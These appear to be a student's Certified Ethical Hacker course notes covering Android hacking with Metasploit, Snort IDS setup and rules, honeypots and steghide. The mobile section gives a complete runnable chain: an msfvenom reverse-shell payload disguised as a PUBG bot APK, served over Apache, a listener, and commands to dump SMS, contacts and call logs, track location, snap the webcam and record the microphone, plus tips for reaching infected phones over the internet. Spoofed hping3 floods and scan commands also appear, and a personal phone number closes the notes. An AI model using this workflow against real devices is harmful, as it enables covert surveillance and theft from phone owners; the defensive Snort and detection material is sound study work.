**CEH Notes Day-18 (12/01/2020)**

Mobile Hacking

msfvenom -p android/meterpreter/reverse\_tcp LHOST=192.168.0.15 LPORT=443 R > /root/Desktop/PUBG-ssbot.apk

root@kali:~# cp /root/Desktop/PUBG-ssbot.apk /var/www/html/

root@kali:~# service apache2 start

root@kali:~# service postgresql start

root@kali:~# msfconsole -q

msf > use multi/handler

msf exploit(multi/handler) > set payload android/meterpreter/reverse\_tcp

payload => android/meterpreter/reverse\_tcp

msf exploit(multi/handler) > set LHOST 192.168.0.42

LHOST => 192.168.0.42

msf exploit(multi/handler) > set LPORT 443

LPORT => 443

msf exploit(multi/handler) > exploit -j

[\*] Exploit running as background job 0.

[\*] Started reverse TCP handler on 192.168.0.42:443

msf exploit(multi/handler) > jobs

Jobs

====

  Id Name Payload Payload opts

  -- ---- ------- ------------

  0 Exploit: multi/handler android/meterpreter/reverse\_tcp tcp://192.168.0.42:443

sysinfo

check\_root

dump\_calllog

dump\_sms

dump\_contacts

geolocate

webcam\_list

webcam\_snap -i 1

webcam\_stream -i 2

record\_mic -d 5

send\_sms -d 9876543210 -t "hello how are you"

To Enable a hacked Mobile connect back anywhere from the world -

1. We can use port forwarding in our home router Or

2. Use Cloud instance and set security group setting accordingly

HTTP - TCP - 80 - Anywhere

Custom port - TCP - 4000-5000 - Anywhere

Reverse enginner an apk file in kali

apktool

apt-get install dex2jar

apt-get install jd-gui

root@kali:~/Desktop# ls -l \*.apk

root@kali:~/Desktop# file PUBG-ssbot.apk

root@kali:~/Desktop# unzip -d unzipped PUBG-ssbot.apk

root@kali:~/Desktop/unzipped# vim AndroidManifest.xml --> contains all access permission requested by the application

root@kali:~/Desktop# d2j-dex2jar PUBG-ssbot.apk

dex2jar PUBG-ssbot.apk -> ./PUBG-ssbot-dex2jar.jar

root@kali:~/Desktop# jd-gui

WARNING: An illegal reflective access operation has occurred

WARNING: Illegal reflective access by org.jd.gui.c.i.a (file:/usr/share/jd-gui/jd-gui.jar) to field com.sun.java.swing.plaf.gtk.GTKLookAndFeel.styleFactory

WARNING: Please consider reporting this to the maintainers of org.jd.gui.c.i.a

WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations

WARNING: All illegal access operations will be denied in a future release

root@kali:~/Desktop# apktool d PUBG-ssbot.apk

I: Using Apktool 2.3.3-dirty on PUBG-ssbot.apk

I: Loading resource table...

I: Decoding AndroidManifest.xml with resources...

I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk

I: Regular manifest package...

I: Decoding file-resources...

I: Decoding values \*/\* XMLs...

I: Baksmaling classes.dex...

I: Copying assets and libs...

I: Copying unknown files...

I: Copying original files...

root@kali:~/Desktop/PUBG-ssbot# ls

AndroidManifest.xml apktool.yml original res smali

root@kali:~/Desktop/PUBG-ssbot# vim AndroidManifest.xml

Tutorials Point Android Penetration Testing Overview - <https://www.youtube.com/watch?v=zHknRia3I6s>

<http://hackersera.com/>

Hackers Era - Offensive Bug Bounty Hunter 2.0 Teaser- <https://www.youtube.com/watch?v=TVaUhaK3-lo>

The Leading Security Assessment Framework for Android. <http://mwr.to/drozer> - <https://github.com/FSecureLABS/drozer>

--------------------------------------------------------------------------------------------------------------------------

apt-get install oinkmaster -y

apt-get install libdaq\* snort\* -y

to check whether snort installed successfully,

on one terminal simply ping an address like

ping 4.2.2.2

open a consecutive terminal tab,

snort

you should be able to see icmp packets going from your system and response packets as well

to run snort

snort -q -A console -i eth0 -c /etc/snort/snort.conf

Firewall - gate keeper

IDS - security camera on head

IPS - Bouncer

nmap -p22,80 192.168.0.15 -sX

nmap -p22,80 192.168.0.15 -sF

hping3 --fast --rand-source 192.168.0.15

hping3 --fast -a 10.20.30.40 192.168.0.15

ping -s 50000 192.168.0.15

root@kali:~# updatedb

root@kali:~# locate \*.rules | grep snort

/etc/snort/rules/scan.rules

Snort Rule Actions:

1. alert - generate an alert using the selected alert method, and then log the packet

2. log - log the packet

3. pass - ignore the packet

4. drop - block and log the packet

5. reject - block the packet, log it, and then send a TCP reset if the protocol is TCP or an ICMP port unreachable message if the protocol is UDP.

6. sdrop - block the packet but do not log it.

<http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node29.html>

root@kali:~# vim ~/Desktop/sss.rules

root@kali:~/Desktop# cat sss.rules

alert icmp any any -> any any (msg:"Hi sss someone is pinging you"; sid:100000)

root@kali:~/Desktop# vim /etc/snort/snort.conf

Detecting Network Traffic from Metasploit’s Meterpreter Reverse HTTP Module - <https://blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/>

alert tcp $HOME\_NET any -> $EXTERNAL\_NET $HTTP\_PORTS (msg:"Metasploit Meterpreter"; flow:to\_server,established; content:"RECV"; http\_client\_body; depth:4; fast\_pattern; isdataat:!0,relative; urilen:23<>24,norm; content:"POST"; pcre:"/^\/[a-z0-9]{4,5}\_[a-z0-9]{16}\/$/Ui"; classtype:trojan-activity; [reference:url,blog.didierstevens.com/2015/05/11/detecting-network-traffic-from-metasploits-meterpreter-reverse-http-module/](about:blank); sid:1618008; rev:1;)

<https://blog.didierstevens.com/>

--------------------------------------------------------------------------------------------------------------------------

Honeypots

Running fake services on a system which invites hackers to exploit the vulnerability and capture them inturn.

KFSensor - Windows Honeypot IDS

<http://www.keyfocus.net/kfsensor/>

HoneyBOT - the windows honeypot

<https://www.atomicsoftwaresolutions.com/>

<https://cybermap.kaspersky.com/>

--------------------------------------------------------------------------------------------------------------------------

Stenography

Tool - steghide

root@kali:~/Desktop# apt-get install steghide

root@kali:~/Desktop# echo "my secret name is sss" > sss-secret.txt

root@kali:~/Desktop# steghide embed -cf wman1.jpg -ef sss-secret.txt

Enter passphrase:

Re-Enter passphrase:

embedding "sss-secret.txt" in "wman1.jpg"... done

root@kali:~/Desktop# steghide extract -sf wman1.jpg

Enter passphrase:

wrote extracted data to "sss-secret.txt".

AES

RSA --> Block size

EC-Council Certified Ethical Hacker - Cheat Sheet Exercises pdf

Certified Ethical Hacker - Online Practice Exam

<https://ceh.cagy.org/>

<https://www.skillset.com/>

<https://www.eccouncil.org/programs/licensed-penetration-tester-lpt-master/>

<https://www.elearnsecurity.com/certification/ewpt/>

Amreet mobile no - 7000670947